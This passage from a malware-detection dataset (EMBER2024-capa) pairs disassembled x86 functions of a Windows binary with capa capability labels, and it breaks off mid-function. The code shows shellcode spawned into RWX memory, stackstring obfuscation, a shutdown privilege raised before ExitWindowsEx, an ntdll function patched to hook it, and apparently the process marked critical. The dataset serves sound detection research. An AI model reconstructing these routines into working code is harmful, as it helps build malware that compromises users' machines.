joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4276e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x28
call fcn.005c8e60
mov eax, dword [esp + 0x38]
push ebx
push edi
xor edi, edi
push eax
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edi
call fcn.00418e50
mov ebx, eax
add esp, 4
cmp ebx, edi
jl 0x427921
push esi
mov esi, dword [esp + 0x48]
cmp esi, 0xffffffff
jne 0x4277a7
mov esi, ebx
mov edi, dword [esp + 0x38]
mov ecx, dword [edi + 0x10]
push ebp
push ecx
call fcn.0040cc10
mov ebp, eax
dec ebp
and ebp, 7
push edi
mov dword [esp + 0x24], ebp
call fcn.0040dd10
add esp, 8
mov edi, eax
mov dword [esp + 0x18], eax
test ebp, ebp
jne 0x427759
mov eax, dword [esp + 0x40]
mov byte [eax], 0
inc eax
dec edi
mov dword [esp + 0x40], eax
mov dword [esp + 0x18], edi
cmp esi, 0xfffffffe
jne 0x4277db
mov esi, edi
sub esi, ebx
sub esi, 2
test esi, esi
jle 0x427819
push 0xda
push str..crypto_rsa_rsa_pss.c
push esi
call fcn.0040fff0
mov ebp, eax
add esp, 0xc
mov dword [esp + 0x10], ebp
test ebp, ebp
jne 0x427807
push 0xde
push str..crypto_rsa_rsa_pss.c
push 0x41
push 0x7d
push 4
call fcn.004134b0
add esp, 0x14
jmp 0x427904
cmp esi, 0xfffffffe
jne 0x4277b1
jmp 0x42771d
jge 0x42771d
push 0xc3
push str..crypto_rsa_rsa_pss.c
push 0x88
push 0x7d
push 4
call fcn.004134b0
add esp, 0x14
pop esi
mov eax, edi
pop edi
pop ebx
add esp, 0x28
ret
lea edx, [ebx + esi + 2]
cmp edi, edx
jge 0x427765
push 0xd5
push str..crypto_rsa_rsa_pss.c
push 0x6e
push 0x7d
push 4
call fcn.004134b0
add esp, 0x14
mov eax, dword [esp + 0x14]
pop ebp
pop esi
pop edi
pop ebx
add esp, 0x28
ret
push esi
push ebp
call fcn.0040ca90
add esp, 8
test eax, eax
jle 0x427900
lea eax, [esp + 0x20]
sub edi, ebx
push eax
lea ebp, [edi - 1]
call fcn.004101d0
mov ecx, dword [esp + 0x4c]
push 0
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00410220
push 8
lea eax, [esp + 0x34]
push 0x63eb84
push eax
call fcn.004103d0
mov ecx, dword [esp + 0x60]
push ebx
push ecx
lea edx, [esp + 0x44]
push edx
call fcn.004103d0
add esp, 0x28
test esi, esi
je 0x427874
mov eax, dword [esp + 0x10]
push esi
push eax
lea ecx, [esp + 0x28]
push ecx
call fcn.004103d0
add esp, 0xc
mov edx, dword [esp + 0x40]
lea eax, [edx + ebp]
push 0
push eax
lea eax, [esp + 0x28]
push eax
call fcn.00410510
lea ecx, [esp + 0x2c]
push ecx
call fcn.00410460
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x50]
push edx
push ebx
add eax, ebp
push eax
push ebp
mov ebp, dword [esp + 0x60]
push ebp
call fcn.0041c940
add esp, 0x24
test eax, eax
jne 0x427900
sub edi, esi
xor byte [edi + ebp - 2], 1
lea eax, [edi + ebp - 2]
inc eax
test esi, esi
jle 0x4278d6
xor ecx, ecx
test esi, esi
jle 0x4278d6
mov edx, dword [esp + 0x10]
mov dl, byte [ecx + edx]
xor byte [eax], dl
inc ecx
inc eax
cmp ecx, esi
jl 0x4278c7
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x4278ef
mov ecx, 8
sub ecx, eax
mov eax, 0xff
sar eax, cl
and byte [ebp], al
mov ecx, dword [esp + 0x18]
mov byte [ecx + ebp - 1], 0xbc
mov dword [esp + 0x14], 1
mov ebp, dword [esp + 0x10]
test ebp, ebp
je 0x4277fb
push ebp
call fcn.00410190
mov eax, dword [esp + 0x18]
add esp, 4
pop ebp
pop esi
pop edi
pop ebx
add esp, 0x28
ret
mov eax, edi
pop edi
pop ebx
add esp, 0x28
ret
Function at 0x432800
Capabilities:
Encode data using xor

Disassembly:
mov eax, pe_nt_image_headers32
call fcn.005c8e60
mov eax, dword [0x66f040]
xor eax, esp
mov dword [esp + 0x12c], eax
mov eax, dword [esp + 0x13c]
push ebx
push ebp
mov ebp, dword [esp + 0x158]
push esi
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x154]
push edi
mov edi, dword [esp + 0x144]
push eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], eax
mov ebx, 1
call fcn.00418e50
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
test esi, esi
jge 0x432863
xor eax, eax
jmp 0x4329ed
lea ecx, [esp + 0x2c]
push ecx
call fcn.00422cd0
mov edx, dword [esp + 0x160]
add esp, 4
mov dword [esp + 0x18], edx
test edi, edi
jne 0x432888
mov dword [esp + 0x148], edi
jmp 0x4328b2
cmp dword [esp + 0x148], 0xffffffff
jne 0x4328b2
mov eax, edi
lea ecx, [eax + 1]
mov dword [esp + 0x10], ecx
jmp 0x4328a0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4328a0
sub eax, dword [esp + 0x10]
mov dword [esp + 0x148], eax
test edx, edx
je 0x4329db
jmp 0x4328c8
mov edx, dword [esp + 0x18]
mov esi, dword [esp + 0x20]
cmp edx, esi
jg 0x4328ce
mov esi, edx
mov edx, ebx
shr edx, 0x18
mov eax, ebx
shr eax, 0x10
push 0
mov byte [esp + 0x18], dl
mov edx, dword [esp + 0x20]
push edx
mov byte [esp + 0x1d], al
mov eax, dword [esp + 0x150]
mov ecx, ebx
shr ecx, 8
push eax
mov byte [esp + 0x22], cl
lea ecx, [esp + 0x38]
push edi
push ecx
mov byte [esp + 0x2b], bl
call fcn.00422a10
mov edx, dword [esp + 0x164]
mov eax, dword [esp + 0x38]
push edx
push eax
lea ecx, [esp + 0x48]
push ecx
call fcn.00422c10
push 4
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x54]
push eax
call fcn.00422c10
push 0
lea ecx, [esp + 0x12c]
push ecx
lea edx, [esp + 0x60]
push edx
call fcn.00422c20
push esi
lea eax, [esp + 0x138]
push eax
push ebp
call fcn.005c96b0
mov eax, dword [esp + 0x198]
add esp, 0x44
cmp eax, 1
jle 0x4329c6
dec eax
mov dword [esp + 0x10], eax
jmp 0x432970
mov edx, dword [esp + 0x20]
push 0
lea ecx, [esp + 0x100]
push ecx
push edx
mov edx, dword [esp + 0x28]
mov eax, ecx
mov ecx, dword [esp + 0x154]
push eax
push ecx
push edi
push edx
call fcn.00422db0
add esp, 0x1c
test esi, esi
jle 0x4329bf
lea ecx, [esp + 0xfc]
mov eax, ebp
sub ecx, ebp
mov edi, esi
lea esp, [esp]
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
sub edi, 1
jne 0x4329b0
mov edi, dword [esp + 0x28]
sub dword [esp + 0x10], 1
jne 0x432970
mov eax, dword [esp + 0x18]
sub eax, esi
inc ebx
add ebp, esi
mov dword [esp + 0x18], eax
test eax, eax
jne 0x4328c0
lea eax, [esp + 0x2c]
push eax
call fcn.00422d70
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.005c02df
add esp, 0x130
ret
Function at 0x45b420
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, edx
test esi, esi
je 0x45b52b
push ebx
push 0x40
push 0x3000
push 0x18
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
movdqa xmm0, xmmword [str.RtlComputeCrc32]
mov ebx, eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x18], 0x6c64746e
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x6c642e6c
push eax
mov word [ebp - 0x10], 0x6c
movdqu xmmword [ebp - 0x38], xmm0
call fcn.00401240
mov dword [ebx], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x6e72656b
push eax
mov dword [ebp - 0x24], 0x32336c65
mov dword [ebp - 0x20], 0x6c6c642e
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0x65656c53
mov word [ebp - 8], 0x70
call fcn.00401240
mov dword [ebx + 4], eax
mov eax, dword [ebp + 8]
mov dword [ebx + 0x14], eax
mov eax, 0x45adc0
mov dword [ebx + 0x10], edi
xor edi, edi
mov dword [ebx + 0xc], esi
mov dword [ebx + 8], 0x45b2c0
cmp dword [eax], 0xaaaaaaaa
je 0x45b4f2
mov eax, 0x45adc0
lea eax, [eax + 1]
inc edi
cmp dword [eax], 0xaaaaaaaa
jne 0x45b4e6
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
mov esi, eax
push 0x45adc0
push esi
call fcn.005c96b0
add esp, 0xc
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x45b540
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x4c], edx
mov edx, ecx
push esi
mov dword [ebp - 0x40], edx
mov esi, dword [edx + 0x3c]
movzx eax, word [esi + edx + 0x14]
movzx ecx, word [esi + edx + 6]
add eax, 0x18
add eax, esi
mov dword [ebp - 0x3c], ecx
test ecx, ecx
je 0x45b6cb
push ebx
lea ebx, [edx + 0x24]
push edi
add ebx, eax
lea ecx, [ecx]
mov eax, dword [ebx]
test eax, 0x20000000
je 0x45b6bc
test eax, 0x40000000
je 0x45b6bc
test al, 0x20
je 0x45b6bc
test eax, 0x2000000
jne 0x45b6bc
mov esi, dword [ebx - 0x18]
mov eax, dword [ebx - 0x1c]
mov dword [ebp - 0x44], eax
add esi, edx
je 0x45b6bc
push 0x40
push 0x3000
push 0x18
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
movdqa xmm0, xmmword [str.RtlComputeCrc32]
mov edi, eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x48], edi
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x6c64746e
push eax
mov dword [ebp - 0x14], 0x6c642e6c
mov word [ebp - 0x10], 0x6c
movdqu xmmword [ebp - 0x38], xmm0
call fcn.00401240
mov dword [edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x6e72656b
push eax
mov dword [ebp - 0x24], 0x32336c65
mov dword [ebp - 0x20], 0x6c6c642e
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0x65656c53
mov word [ebp - 8], 0x70
call fcn.00401240
mov dword [edi + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [edi + 0x10], eax
mov eax, dword [ebp - 0x4c]
mov dword [edi + 0x14], eax
mov eax, 0x45adc0
mov dword [edi + 0xc], esi
mov dword [edi + 8], 0x45b2c0
xor edi, edi
cmp dword [eax], 0xaaaaaaaa
je 0x45b67c
mov eax, 0x45adc0
lea esp, [esp]
lea eax, [eax + 1]
inc edi
cmp dword [eax], 0xaaaaaaaa
jne 0x45b670
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
mov esi, eax
push 0x45adc0
push esi
call fcn.005c96b0
add esp, 0xc
push 0
push 0
push dword [ebp - 0x48]
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x40]
add ebx, 0x28
dec ecx
mov dword [ebp - 0x3c], ecx
jne 0x45b580
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x45be30
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x14], 0x6e72656b
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0x32336c65
push eax
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
mov dword [ebp - 0x34], 0x64616f4c
mov dword [ebp - 0x30], 0x7262694c
mov dword [ebp - 0x2c], 0x41797261
mov byte [ebp - 0x28], 0
call fcn.00401240
mov dword [0x680320], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], 0x64616f4c
push eax
mov dword [ebp - 0x20], 0x7262694c
mov dword [ebp - 0x1c], 0x57797261
mov byte [ebp - 0x18], 0
call fcn.00401240
mov dword [0x68031c], eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x44], 0x64616f4c
push eax
mov dword [ebp - 0x40], 0x7262694c
mov dword [ebp - 0x3c], 0x45797261
mov word [ebp - 0x38], 0x4178
mov byte [ebp - 0x36], 0
call fcn.00401240
mov dword [0x680318], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x54], 0x64616f4c
push eax
mov dword [ebp - 0x50], 0x7262694c
mov dword [ebp - 0x4c], 0x45797261
mov word [ebp - 0x48], 0x5778
mov byte [ebp - 0x46], 0
call fcn.00401240
push 0
push 0
push 0
push 0x45bc60
push 0
push 0
mov dword [0x680314], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x45c7c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x6802ed], 0
jne 0x45c855
cmp byte [0x6802ec], 0
mov byte [0x6802ed], 1
jne 0x45c7fb
push 0x6802f0
mov byte [0x6802ec], 1
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.0045c3f0
call fcn.0045c870
mov dword [0x680308], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6e72656b
push eax
mov dword [ebp - 0xc], 0x32336c65
mov byte [ebp - 8], 0
mov dword [ebp - 0x20], 0x6f577349
mov dword [ebp - 0x1c], 0x50343677
mov dword [ebp - 0x18], 0x65636f72
mov word [ebp - 0x14], 0x7373
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x68030c], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x45d4f0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov ebx, ecx
push esi
push 0x7e
push eax
mov word [ebp - 0xc], ax
mov esi, edx
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x8c], ax
lea eax, [ebp - 0x8a]
push eax
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x90], ebx
call fcn.005c7c50
add esp, 0xc
test ebx, ebx
je 0x45d603
test esi, esi
je 0x45d603
mov ebx, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push edi
mov edi, 0x41
mov eax, 0x3a
mov word [ebp - 0xc], di
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x8c]
push 0x40
push eax
lea eax, [ebp - 0xc]
push eax
call ebx
test eax, eax
je 0x45d5a9
lea esi, [ebp - 0x8c]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x45d580
sub esi, ecx
lea eax, [ebp - 0x8c]
sar esi, 1
push esi
push dword [ebp - 0x90]
push eax
call fcn.005c1293
add esp, 0xc
test eax, eax
je 0x45d5c3
inc edi
cmp di, 0x5b
jl 0x45d557
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x94]
lea eax, [ebp - 0xc]
push eax
push 0x104
push edi
call fcn.005c1442
mov eax, dword [ebp - 0x90]
lea eax, [eax + esi*2]
push eax
push 0x104
push edi
call fcn.005c149e
add esp, 0x18
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop esi
xor ecx, ebp
pop ebx
call fcn.005c02df
mov esp, ebp
pop ebp
ret

Function at 0x45df90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.0045c7c0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x3c], 0
push 0x28
movq qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x45e03c
lea eax, [ebp - 0x38]
mov dword [ebp - 0x2c], 0x650053
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x680053
push eax
push 0
mov dword [ebp - 0x24], 0x740075
mov dword [ebp - 0x20], 0x6f0064
mov dword [ebp - 0x1c], 0x6e0077
mov dword [ebp - 0x18], 0x720050
mov dword [ebp - 0x14], 0x760069
mov dword [ebp - 0x10], 0x6c0069
mov dword [ebp - 0xc], 0x670065
mov dword [ebp - 8], 0x65
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x45e04c
push dword [ebp - 0x40]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x10
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 1
push eax
push 0
push dword [ebp - 0x40]
mov dword [ebp - 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x40]
test eax, eax
je 0x45e036
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x45e090
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.0045c7c0
push 0x110
lea eax, [ebp - 0x11c]
push 0
push eax
call fcn.005c7c50
add esp, 0xc
mov dword [ebp - 0x120], 0x114
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x45e0e7
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x110], 2
jne 0x45e0f5
call fcn.0045df90
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret

Function at 0x45e110
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x30], edx
mov edi, ecx
call fcn.0045c7c0
movdqa xmm0, xmmword [0x64e520]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x6c64746e
push eax
mov dword [ebp - 0xc], 0x6c642e6c
mov word [ebp - 8], 0x6c
movdqu xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x636f7250
mov dword [ebp - 0x14], 0x737365
call fcn.00401240
mov esi, eax
test esi, esi
jne 0x45e180
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x29]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
jne 0x45e16e
push 4
lea eax, [ebp - 0x30]
push eax
push 0x1d
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.005c02df
mov esp, ebp
pop ebp
ret

Function at 0x45ee40
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x29]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
movdqa xmm0, xmmword [0x64e150]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov word [ebp - 8], 0x6c
movdqu xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x61707369
mov dword [ebp - 0x14], 0x65686374
mov word [ebp - 0x10], 0x72
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x45eefe
lea ebx, [ebx]
cmp byte [esi], 0xe8
jne 0x45eebb
cmp byte [esi - 1], 0x53
je 0x45eebe
inc esi
jmp 0x45eeb0
mov eax, dword [esi + 1]
add eax, 5
add eax, esi
mov dword [0x680348], eax
lea eax, [ebp - 0x30]
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x45ee00
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x45ef10
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x66f040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
xor ebx, ebx
mov dword [ebp - 0x2c], ecx
cmp dword [0x680350], edx
push esi
mov esi, 5
mov dword [ebp - 0x28], ebx
cmove esi, edx
cmp dword [0x680354], ebx
mov edx, 1
cmove esi, edx
cmp dword [0x680358], ebx
mov edx, 2
cmove esi, edx
cmp dword [0x68035c], ebx
jne 0x45efc8
mov esi, 3
mov dword [esi*4 + 0x680350], ecx
mov dword [esi*4 + 0x680338], 0x45b6e0
mov dword [esi*4 + 0x680328], ebx
push edi
test eax, eax
je 0x45efdf
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x45efae
mov edx, dword [ebp - 0x2c]
sub esp, 8
mov ecx, edi
push esi
call fcn.0045ed30
add esp, 0xc
mov ebx, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
cmp esi, 4
jl 0x45ef66
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [ebp - 0x20], ebx
push 0
push 4
movdqu xmmword [ebp - 0x1c], xmm0
movq qword [ebp - 0xc], xmm0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, 0xffffffff
jne 0x45f016
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005c02df
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
mov dword [ebp - 8], ebx
xorps xmm0, xmm0
push eax
movdqu xmmword [ebp - 0x20], xmm0
push edi
movq qword [ebp - 0x10], xmm0
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov ebx, eax
test ebx, ebx
je 0x45f0a4
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x45f08e
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 0x18]
cmp ecx, eax
je 0x45f08e
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x45f09d
mov edx, dword [ebp - 0x2c]
sub esp, 8
mov ecx, edi
push esi
call fcn.0045ed30
add esp, 0xc
mov dword [ebp - 0x28], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov ebx, eax
jmp 0x45f0a0
mov edi, dword [ebp - 0x24]
test ebx, ebx
jne 0x45f040
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x28]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.005c02df
mov esp, ebp
pop ebp
ret
Function at 0x45f2f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x45f386
mov ecx, fcn.0045b6e0
test ecx, ecx
je 0x45f386
lea ecx, [ebp - 8]
push ecx
mov ecx, eax
call fcn.0045f0c0
add esp, 4
test eax, eax
je 0x45f386
push ebx
mov ebx, dword [ebp - 8]
push esi
push edi
push 0x40
push 0x1000
lea eax, [ebx + 0xe]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push ebx
push dword [ebp - 4]
mov dword [esi], ebx
add esi, 4
lea edi, [esi + 5]
push edi
call fcn.005c96b0
mov ecx, dword [ebp - 4]
mov eax, fcn.0045b6e0
push dword [ebp + 0xc]
sub eax, esi
mov byte [esi], 0xe9
sub eax, 5
mov dword [esi + 1], eax
mov eax, ecx
sub eax, esi
mov byte [esi + ebx + 5], 0xe9
sub eax, 0xa
mov dword [esi + ebx + 6], eax
mov dword [0x680310], edi
call fcn.0045ef10
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x45f4f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x45f503
test al, 0x10
je 0x45f503
mov al, 1
ret
xor al, al
ret

Function at 0x45f510
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, edx
mov esi, ecx
test edi, edi
je 0x45f525
xor eax, eax
mov word [edi], ax
push esi
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x45f53d
test al, 0x10
jne 0x45f5ee
mov ecx, esi
push ebx
xor ebx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45f545
sub ecx, edx
sar ecx, 1
je 0x45f5c7
movzx eax, word [esi + ebx*2]
cmp eax, 0x5c
je 0x45f564
cmp eax, 0x2f
jne 0x45f5ae
mov dword [ebp - 8], eax
xor eax, eax
push esi
mov word [esi + ebx*2], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x45f57d
test al, 0x10
jne 0x45f5a7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x45f5a7
test edi, edi
je 0x45f5a7
cmp byte [ebp - 1], 0
jne 0x45f5a7
push esi
push 0x104
push edi
call fcn.005c1442
add esp, 0xc
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
mov word [esi + ebx*2], ax
mov eax, esi
inc ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45f5b4
sub eax, edx
sar eax, 1
cmp ebx, eax
jb 0x45f556
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
pop ebx
test eax, eax
je 0x45f5ee
test edi, edi
je 0x45f5ee
cmp byte [ebp - 1], 0
